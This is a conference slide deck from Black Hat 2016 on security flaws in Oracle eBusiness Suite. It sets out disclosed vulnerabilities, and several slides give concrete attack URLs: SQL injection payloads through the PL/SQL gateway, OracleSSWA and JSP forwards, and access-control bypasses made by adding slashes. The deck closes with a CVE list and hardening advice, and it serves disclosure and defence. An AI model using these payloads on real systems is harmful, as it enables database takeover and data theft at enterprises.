Hackproofing Oracle’s eBusiness Suite

David Litchfield

Black Hat 2016
Who Am I?

- Security Researcher: over 230 CVE-IDs, 7 CERT advisories, 60+ whitepapers
- Developer: NGSSQuirreL, Redowalker, Datawalker, and others
- Founder: Cerberus Infosec & NGSSSoftware
- @dlitchfield or david@davidlitchfield.com
eBusiness Suite Overview

• Used by medium to large enterprises
• Versions 12.2 and earlier including 11.5
• CRM, SCM, ERP
  – Financials
    • Assets, General Ledger, Payables, Receivables
• It’s BIG
  – Massive, ginormous, gargantuan attack surface.
  – Like really, really big
  – And we all know what comes with a big attack surface
It’s OK, though!

“Of the many 'potential SQL Injections' we have seen reported we have yet to find a single confirmed example”

Secure Configuration Guide for Oracle eBusiness 11i, page 42
eBusiness Suite components

- Web Server
  - JSPs (15,000!!!)
  - PLSQL Gateway (gone in R12)
  - Forms
  - Servlets
- Database Server
- Concurrent Processing Server
eBusiness Suite Vulnerabilities

• Started an in-depth security review of 11.5 in November 2015.
  – After 1 week of effort I had found and reported to Oracle 50 flaws (I stopped at 50)
    • 21 SQL injection, 26 XSS, 1 Open Redirect, 2 DoS
    • PL/SQL Gateway and JSPs
• Did another week’s worth of effort on 12.2
  – Reported another slew of issues
Some 11.5 Issues

• 3 aliases for 1 directory
  – /OA_HTML, /html, /jinitator
    • https://example.com/html/bin/appsweb.cfg
    • https://example.com/html/bin/sqlnet.log

• trusted.conf cannot be trusted!
trusted.conf

<Location ~ "^/dms0">
Order deny,allow
Deny from all
</Location>

Add a slash: https://example.com/dms0

https://example.com/oa_servlets//IsItWorking
https://example.com/oa_servlets//oracle.apps.fnd.oam.jserv.OAMJservSumm?host=example.com&port=8102&proc=http
https://example.com/OA_HTML//bin//sqlnet.log
https://example.com/oa_servlets//oracle.xml.xsql.XSQLServlet
https://example.com/oa_servlets//oracle.xml.xsql.XSQLServlet/OA_HTML/jtfwrepo.xml
PL/SQL Gateway

• Access to c. 700 PL/SQL packages, procedures
  – FND_ENABLED_PLSQL
  – Of a sample of 40, 12 had SQL injection, 15 had XSS, 2 had a DoS (loop counter based on input)

• Some were standard run-of-the-mill-easy-to-exploit-take-complete-control issues, others were more complex:
  – HR_UTIL_DISP_WEB
  – ORACLELESSWA
PROCEDURE dexl (p_url IN VARCHAR2) IS
    l_sql_string varchar2(32000);

    BEGIN
        l_sql_string := 'begin ' || icx_call.decrypt2(p_url) || '; end;';

    HR_GENERAL_UTILITIES.Execute_Dynamic_SQL (p_sql_string => l_sql_string);

END dexl;
icx_call.decrypt2()

- Given a number it takes the TEXT column for the equivalent TEXT_ID column in the APPS.ICX_TEXT table.
procedure display_fatal_errors
(p_message LONG) IS
l_session_id number;
BEGIN
l_session_id := icx_sec.getid(icx_sec.pv_session_id);
htp.p('<HTML>');
htp.p('<HEAD>');
htp.p('</HEAD>');
htp.p('<BODY>');
htp.p('<SCRIPT language="JavaScript">');
htp.p('window.location="hr_util Disp_web.display_fatal_error_form?"||p_message='||icx_call.encrypt2(p_message,
l_session_id) ||""');
htp.p('</SCRIPT>');
htp.p('</BODY>');
htp.p('</HTML>');
END display_fatal_errors;
Attack Sequence

https://example.com/pls/ebs/hr_util_disp_web.display_fatal_errors?p_message=htp.p(dbms_aw.interp(%27sleep%2010%27))

redirects to

https://example.com/pls/ebs/hr_util_disp_web.display_fatal_error_form?p_message=8595383

now request

https://example.com/pls/ebs/hr_util_disp_web.dexl?p_url=8595383
ORACLELESSWA

• The EXECUTE procedure takes a parameter E
• E is decrypted using icx_call.decrypt()
  – "{"38FC0AD8B864E9292DA4180C5B96CE7534B905551F9EB138" decrypts to
    "178*20873*0*2633**"]"
• 2633 is passed to RUNFUNCTION
RUNFUNCTION

• Looks up WEB_HTML_CALL in APPS.FND_FORM_FUNCTIONS for that FUNCTION_ID:
  – 2633 is "ICX_CHANGE_LANGUAGE.SHOW_LANGUAGES"

• If parameter P is present it is decrypted and concatenated
Arbitrary SQL

- If we encrypt "); htp.p(user); END;-- =A" and pass it as parameter P the following SQL will be executed:

```sql
begin
   ICX_CHANGE_LANGUAGE.show_languages();
   htp.p(user); END;-->'A');
end;
```
Attack Sequence

https://example.com/pls/EBSPROD/OracleSSWA.Execute?E=%7B!38FC0AD8B864E9292DA4180C5B96CE7534B905551F9EB138&P={!76EF7B870B1E380618ED818959DC37F6FB9E6C4 4A14AC3D7}
Some CVE-IDs

- CVE-2016-0510 SQL INJECTION IN APPS.BIS_BUSINESS_VIEWS_CATALOG
- CVE-2016-0511 SQL INJECTION IN BIS_LOV_PUB ANDBIS_PORTLET_PMREGION
- CVE-2016-0512 SQL INJECTION IN HR_MISC_WEB
- CVE-2016-0514 SQL INJECTION IN JTF_BISFAVORITEPLUG_PUB
- CVE-2016-0515 SQL INJECTION IN JTF_BISUTILITY_PUB
- CVE-2016-0516 SQL INJECTION IN QA_SS_CORE
- CVE-2016-0517 SQL INJECTION IN HR_UTIL_DISP_WEB
- CVE-2016-0518 SQL INJECTION IN HRHTML
- CVE-2016-0589 SQL INJECTION IN ORACLESSWA
- CVE-2016-0578 SQL INJECTION VIA JTF_BISUTILITY_PUB_LOV_VALUES
- CVE-2016-0581 SQL INJECTION AND XSS IN AME_UI
- CVE-2016-0576 MULTIPLE SQL INJECTION AND XSS IN ICX_UTIL_LOVVALUES
- CVE-2016-0520 XSS IN ICX_ASX_ORACLE
- CVE-2016-0519 XSS IN ARW_TOOLBAR
- CVE-2016-0521 XSS VULNERABILITIES IN POR_REDIRECT
- CVE-2016-0584 XSS IN JTF_BISCHARTPLUG_PUB
- CVE-2016-0582 XSS IN JTF_BISRELATED_PVT
- CVE-2016-0583 XSS IN JTF_BIS_CHAIN_PUB
- CVE-2016-0588 XSS IN GL_WEB_PLSQL_CARTRIDGE
- CVE-2016-0513 XSS IN ORACLEPLUGS.PLUGRENAME
- CVE-2016-0507 XSS IN ARW_UTILITIES
- CVE-2016-0509 XSS IN AP_WEB_UTILITIES_PKG
- CVE-2016-0575 MULTIPLE XSS IN OT_UTIL_SKILLS_WEB
- CVE-2016-0579 MULTIPLE XSS IN JTF_BISJAVASCRIPT_PUB
- CVE-2016-0586 MULTIPLE XSS IN ICX_ADMIN_SIG

- CVE-2016-0544 SQL INJECTION IN AMSSEGMENTLOV.JSP
- CVE-2016-0543 SQL INJECTION IN AMSQUERYPREVIEW.JSP
- CVE-2016-0548 SQL INJECTION IN BISAKRGN.JSP
- CVE-2016-0549 SQL INJECTION IN BISAKRIU.JSP
- CVE-2016-0547 SQL INJECTION IN BISAKRGI.JSP
- CVE-2016-0552 SQL INJECTION IN BICRLUPD.JSP (Affects EBS 12x, too)
- CVE-2016-0545 SQL INJECTION IN BICCFGD2.JSP (Affects EBS 12x, too)
- CVE-2016-0550 SQL INJECTION IN JTFWTOST.JSP (Affects EBS 12x, too)
- CVE-2016-0580 DOS IN ADL_BINARY_FILE
- CVE-2016-0585 DOS IN ICX_ADMIN_SIG
- CVE-2016-3662 SQL INJECTION IN iexrpval.jsp
- CVE-2016-3663 SQL INJECTION in amscampl.jsp
- CVE-2016-3466 SQL INJECTION in csfwpnt.jsp
Some 12.x Issues

• Again, roughly 80 hours spent on security assessment
• Java deserialization x2
• SQL injection x 8
• XSS x lost count
• Cookie exposure, forced arbitrary GETs, directory traversal, Denial of Service, XXE

• Still awaiting patches 😞
Many ways to skin a cat

- https://example.com/OA_HTML/bisakrgn.jsp?pSearchBy=%2530D%27||chr(65)||%27Y%25
- https://example.com/OA_HTML/RF.jsp?function_id=11091&pSearchBy=%2530D%27||chr(65)||%27Y%25
  – Beware leading zeros
- https://example.com/OA_HTML/qotSCopAddSvc.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
  – Thanks JSP forwards!
JSP forwards

<jsp:forward page="<%= request.getParameter("foo") %>">

https://example.com/OA_HTML/qotSCopAddSvc.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/qotSCopIBSrch.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/qotSCopModSvc.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/qotSCopPOSrch.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/qotSSppSalesSupplement.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/qotSSrpSvdSrch.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/qotSSrpSvdSrchList.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/qotSTppTplCreate.jsp?qotFrmMainFile=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25
https://example.com/OA_HTML/jtfbinperzedit.jsp?event=save&jtfBinId=1&jtfbinperzfavorName=X&jtfbinperzfavorDesc=foo&jtfbinperzfavorId=1&jtfbinreturnURL=bisakrgn.jsp&pSearchBy=%25%27||CHR(LENGTH(USER)%2B28)||%27%25

Non-JSP content can be included, too, in 12.x – shhh!
Some Database Issues

• I have a list… but this margin is too narrow to contain.
Securing 12.x and 11.5

- JSPs
  - Review access logs for legitimate direct accesses
  - *AND*
  - Check accesses to RF.jsp
    - Extract function_id and look up FND_FORM_FUNCTIONS
  - *AND*
  - JSP includes and forwards
  - A recent engagement we went from 15,000 JSPs to just under 200 – a 99.99% reduction in attack surface.

- Servlets
  - Started with a list of 80, down to 2, a 97% reduction
Specific to Securing 11.5

- PL/SQL Gateway
- APPS.FND_ENABLED_PLSQL
- c. 700 PL/SQL packages and procedures
- Review log files, consult Biz Applications team, and disable access.
- In a recent engagement we got down to 6, again representing a 99.99% reduction in attack surface.
Securing eBusiness Suite

• Strip it down, review what’s left
• Use mod_rewrite / mod_security
  – Location directives being deprecated
• Create a custom 404 explaining how to resolve
Questions?

• Thanks for coming!